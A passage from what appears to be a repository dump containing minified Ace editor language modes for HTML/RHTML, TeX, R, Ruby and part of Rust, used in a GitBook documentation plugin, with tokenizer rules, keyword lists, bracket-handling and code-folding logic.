r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/tex_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){e||(e=\"text\"),this.$rules={start:[{token:\"comment\",regex:\"%.*$\"},{token:e,regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\\\b\",next:\"nospell\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])}]\"},{token:e,regex:\"\\\\s+\"}],nospell:[{token:\"comment\",regex:\"%.*$\",next:\"start\"},{token:\"nospell.\"+e,regex:\"\\\\\\\\[$&%#\\\\{\\\\}]\"},{token:\"keyword\",regex:\"\\\\\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\\\b\"},{token:\"keyword\",regex:\"\\\\\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])\",next:\"start\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])]\"},{token:\"paren.keyword.operator\",regex:\"}\",next:\"start\"},{token:\"nospell.\"+e,regex:\"\\\\s+\"},{token:\"nospell.\"+e,regex:\"\\\\w+\"}]}};r.inherits(o,s),t.TexHighlightRules=o}),define(\"ace/mode/r_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/tex_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./tex_highlight_rules\").TexHighlightRules,u=function(){var e=i.arrayToMap(\"function|if|in|break|next|repeat|else|for|return|switch|while|try|tryCatch|stop|warning|require|library|attach|detach|source|setMethod|setGeneric|setGroupGeneric|setClass\".split(\"|\")),t=i.arrayToMap(\"NULL|NA|TRUE|FALSE|T|F|Inf|NaN|NA_integer_|NA_real_|NA_character_|NA_complex_\".split(\"|\"));this.$rules={start:[{token:\"comment.sectionhead\",regex:\"#+(?!').*(?:----|====|####)\\\\s*$\"},{token:\"comment\",regex:\"#+'\",next:\"rd-start\"},{token:\"comment\",regex:\"#.*$\"},{token:\"string\",regex:'[\"]',next:\"qqstring\"},{token:\"string\",regex:\"[']\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+[Li]?\\\\b\"},{token:\"constant.numeric\",regex:\"\\\\d+L\\\\b\"},{token:\"constant.numeric\",regex:\"\\\\d+(?:\\\\.\\\\d*)?(?:[eE][+\\\\-]?\\\\d*)?i?\\\\b\"},{token:\"constant.numeric\",regex:\"\\\\.\\\\d+(?:[eE][+\\\\-]?\\\\d*)?i?\\\\b\"},{token:\"constant.language.boolean\",regex:\"(?:TRUE|FALSE|T|F)\\\\b\"},{token:\"identifier\",regex:\"`.*?`\"},{onMatch:function(n){return e[n]?\"keyword\":t[n]?\"constant.language\":n==\"...\"||n.match(/^\\.\\.\\d+$/)?\"variable.language\":\"identifier\"},regex:\"[a-zA-Z.][a-zA-Z0-9._]*\\\\b\"},{token:\"keyword.operator\",regex:\"%%|>=|<=|==|!=|\\\\->|<\\\\-|\\\\|\\\\||&&|=|\\\\+|\\\\-|\\\\*|/|\\\\^|>|<|!|&|\\\\||~|\\\\$|:\"},{token:\"keyword.operator\",regex:\"%.*?%\"},{token:\"paren.keyword.operator\",regex:\"[[({]\"},{token:\"paren.keyword.operator\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}]};var n=(new o(\"comment\")).getRules();for(var r=0;r<n.start.length;r++)n.start[r].token+=\".virtual-comment\";this.addRules(n,\"rd-\"),this.$rules[\"rd-start\"].unshift({token:\"text\",regex:\"^\",next:\"start\"}),this.$rules[\"rd-start\"].unshift({token:\"keyword\",regex:\"@(?!@)[^ ]*\"}),this.$rules[\"rd-start\"].unshift({token:\"comment\",regex:\"@@\"}),this.$rules[\"rd-start\"].push({token:\"comment\",regex:\"[^%\\\\\\\\[({\\\\])}]+\"})};r.inherits(u,s),t.RHighlightRules=u}),define(\"ace/mode/rhtml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/r_highlight_rules\",\"ace/mode/html_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./r_highlight_rules\").RHighlightRules,s=e(\"./html_highlight_rules\").HtmlHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){s.call(this),this.$rules.start.unshift({token:\"support.function.codebegin\",regex:\"^<!--\\\\s*begin.rcode\\\\s*(?:.*)\",next:\"r-start\"}),this.embedRules(i,\"r-\",[{token:\"support.function.codeend\",regex:\"^\\\\s*end.rcode\\\\s*-->\",next:\"start\"}],[\"start\"]),this.normalizeRules()};r.inherits(u,o),t.RHtmlHighlightRules=u}),define(\"ace/mode/rhtml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/rhtml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./rhtml_highlight_rules\").RHtmlHighlightRules,o=function(e,t){i.call(this),this.$session=t,this.HighlightRules=s};r.inherits(o,i),function(){this.insertChunkInfo={value:\"<!--begin.rcode\\n\\nend.rcode-->\\n\",position:{row:0,column:15}},this.getLanguageMode=function(e){return this.$session.getState(e.row).match(/^r-/)?\"R\":\"HTML\"},this.$id=\"ace/mode/rhtml\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-ruby.js",
    "content": "define(\"ace/mode/ruby_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.constantOtherSymbol={token:\"constant.other.symbol.ruby\",regex:\"[:](?:[A-Za-z_]|[@$](?=[a-zA-Z0-9_]))[a-zA-Z0-9_]*[!=?]?\"},o=t.qString={token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},u=t.qqString={token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},a=t.tString={token:\"string\",regex:\"[`](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[`]\"},f=t.constantNumericHex={token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F](?:[0-9a-fA-F]|_(?=[0-9a-fA-F]))*\\\\b\"},l=t.constantNumericFloat={token:\"constant.numeric\",regex:\"[+-]?\\\\d(?:\\\\d|_(?=\\\\d))*(?:(?:\\\\.\\\\d(?:\\\\d|_(?=\\\\d))*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},c=function(){var e=\"abort|Array|assert|assert_equal|assert_not_equal|assert_same|assert_not_same|assert_nil|assert_not_nil|assert_match|assert_no_match|assert_in_delta|assert_throws|assert_raise|assert_nothing_raised|assert_instance_of|assert_kind_of|assert_respond_to|assert_operator|assert_send|assert_difference|assert_no_difference|assert_recognizes|assert_generates|assert_response|assert_redirected_to|assert_template|assert_select|assert_select_email|assert_select_rjs|assert_select_encoded|css_select|at_exit|attr|attr_writer|attr_reader|attr_accessor|attr_accessible|autoload|binding|block_given?|callcc|caller|catch|chomp|chomp!|chop|chop!|defined?|delete_via_redirect|eval|exec|exit|exit!|fail|Float|flunk|follow_redirect!|fork|form_for|form_tag|format|gets|global_variables|gsub|gsub!|get_via_redirect|host!|https?|https!|include|Integer|lambda|link_to|link_to_unless_current|link_to_function|link_to_remote|load|local_variables|loop|open|open_session|p|print|printf|proc|putc|puts|post_via_redirect|put_via_redirect|raise|rand|raw|readline|readlines|redirect?|request_via_redirect|require|scan|select|set_trace_func|sleep|split|sprintf|srand|String|stylesheet_link_tag|syscall|system|sub|sub!|test|throw|trace_var|trap|untrace_var|atan2|cos|exp|frexp|ldexp|log|log10|sin|sqrt|tan|render|javascript_include_tag|csrf_meta_tag|label_tag|text_field_tag|submit_tag|check_box_tag|content_tag|radio_button_tag|text_area_tag|password_field_tag|hidden_field_tag|fields_for|select_tag|options_for_select|options_from_collection_for_select|collection_select|time_zone_select|select_date|select_time|select_datetime|date_select|time_select|datetime_select|select_year|select_month|select_day|select_hour|select_minute|select_second|file_field_tag|file_field|respond_to|skip_before_filter|around_filter|after_filter|verify|protect_from_forgery|rescue_from|helper_method|redirect_to|before_filter|send_data|send_file|validates_presence_of|validates_uniqueness_of|validates_length_of|validates_format_of|validates_acceptance_of|validates_associated|validates_exclusion_of|validates_inclusion_of|validates_numericality_of|validates_with|validates_each|authenticate_or_request_with_http_basic|authenticate_or_request_with_http_digest|filter_parameter_logging|match|get|post|resources|redirect|scope|assert_routing|translate|localize|extract_locale_from_tld|caches_page|expire_page|caches_action|expire_action|cache|expire_fragment|expire_cache_for|observe|cache_sweeper|has_many|has_one|belongs_to|has_and_belongs_to_many\",t=\"alias|and|BEGIN|begin|break|case|class|def|defined|do|else|elsif|END|end|ensure|__FILE__|finally|for|gem|if|in|__LINE__|module|next|not|or|private|protected|public|redo|rescue|retry|return|super|then|undef|unless|until|when|while|yield\",n=\"true|TRUE|false|FALSE|nil|NIL|ARGF|ARGV|DATA|ENV|RUBY_PLATFORM|RUBY_RELEASE_DATE|RUBY_VERSION|STDERR|STDIN|STDOUT|TOPLEVEL_BINDING\",r=\"$DEBUG|$defout|$FILENAME|$LOAD_PATH|$SAFE|$stdin|$stdout|$stderr|$VERBOSE|$!|root_url|flash|session|cookies|params|request|response|logger|self\",i=this.$keywords=this.createKeywordMapper({keyword:t,\"constant.language\":n,\"variable.language\":r,\"support.function\":e,\"invalid.deprecated\":\"debugger\"},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"comment\",regex:\"^=begin(?:$|\\\\s.*$)\",next:\"comment\"},{token:\"string.regexp\",regex:\"[/](?:(?:\\\\[(?:\\\\\\\\]|[^\\\\]])+\\\\])|(?:\\\\\\\\/|[^\\\\]/]))*[/]\\\\w*\\\\s*(?=[).,;]|$)\"},[{regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren.lparen\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.start\",regex:/\"/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/\"/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:/\\\\(?:[nsrtvfbae'\"\\\\]|c.|C-.|M-.(?:\\\\C-.)?|[0-7]{3}|x[\\da-fA-F]{2}|u[\\da-fA-F]{4})/},{token:\"paren.start\",regex:/\\#{/,push:\"start\"},{token:\"string.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string\"}]},{token:\"string.start\",regex:/'/,push:[{token:\"constant.language.escape\",regex:/\\\\['\\\\]/},{token:\"string.end\",regex:/'/,next:\"pop\"},{defaultToken:\"string\"}]}],{token:\"text\",regex:\"::\"},{token:\"variable.instance\",regex:\"@{1,2}[a-zA-Z_\\\\d]+\"},{token:\"support.class\",regex:\"[A-Z][a-zA-Z_\\\\d]+\"},s,f,l,{token:\"constant.language.boolean\",regex:\"(?:true|false)\\\\b\"},{token:i,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"punctuation.separator.key-value\",regex:\"=>\"},{stateName:\"heredoc\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[3]),[{type:\"constant\",value:i[1]},{type:\"string\",value:i[2]},{type:\"support.class\",value:i[3]},{type:\"string\",value:i[4]}]},regex:\"(<<-?)(['\\\"`]?)([\\\\w]+)(['\\\"`]?)\",rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^ +\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:\"string.character\",regex:\"\\\\B\\\\?.\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|instanceof|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\"^=end(?:$|\\\\s.*$)\",next:\"start\"},{token:\"comment\",regex:\".+\"}]},this.normalizeRules()};r.inherits(c,i),t.RubyHighlightRules=c}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/ruby\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/ruby_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./ruby_highlight_rules\").RubyHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/coffee\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/),u=t.match(/^\\s*(class|def|module)\\s.*$/),a=t.match(/.*do(\\s*|\\s+\\|.*\\|\\s*)$/),f=t.match(/^\\s*(if|else)\\s*/);if(o||u||a||f)r+=n}return r},this.checkOutdent=function(e,t,n){return/^\\s+(end|else)$/.test(t+n)||this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){var r=t.getLine(n);if(/}/.test(r))return this.$outdent.autoOutdent(t,n);var i=this.$getIndent(r),s=t.getLine(n-1),o=this.$getIndent(s),a=t.getTabString();o.length<=i.length&&i.slice(-a.length)==a&&t.remove(new u(n,i.length-a.length,n,i.length))},this.$id=\"ace/mode/ruby\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-rust.js",
    "content": "define(\"ace/mode/rust_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=/\\\\(?:[nrt0'\"]|x[\\da-fA-F]{2}|u\\{[\\da-fA-F]{6}\\})/.source,o=function(){this.$rules={start:[{token:\"variable.other.source.rust\",regex:\"'[a-zA-Z_][a-zA-Z0-9_]*(?![\\\\'])\"},{token:\"string.quoted.single.source.rust\",regex:\"'(?:[^'\\\\\\\\]|\"+s+\")'\"},{stateName:\"bracketedComment\",onMatch:function(e,t,n){return n.unshift(this.next,e.length-1,t),\"string.quoted.raw.source.rust\"},regex:/r#*\"/,next:[{onMatch:function(e,t,n){var r=\"string.quoted.raw.source.rust\";return e.length>=n[1]?(e.length>n[1]&&(r=\"invalid\"),n.shift(),n.shift(),this.next=n.shift()):this.next=\"\",r},regex:/\"#*/,next:\"start\"},{defaultToken:\"string.quoted.raw.source.rust\"}]},{token:\"string.quoted.double.source.rust\",regex:'\"',push:[{token:\"string.quoted.double.source.rust\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.source.rust\",regex:s},{defaultToken:\"string.quoted.double.source.rust\"}]},{token:[\"keyword.source.rust\",\"text\",\"entity.name.function.source.rust\"],regex:\"\\\\b(fn)(\\\\s+)([a-zA-Z_][a-zA-Z0-9_]*)\"},{token:\"support.constant\",regex:\"\\\\b[a-zA-Z_][\\\\w\\\\d]*::\"},{token:\"keyword.source.rust\",regex:\"\\\\b(?:abstract|alignof|as|box|break|continue|const|crate|do|else|enum|extern|for|final|if|impl|in|let|loop|macro|match|mod|move|mut|offsetof|override|priv|proc|pub|pure|ref|return|se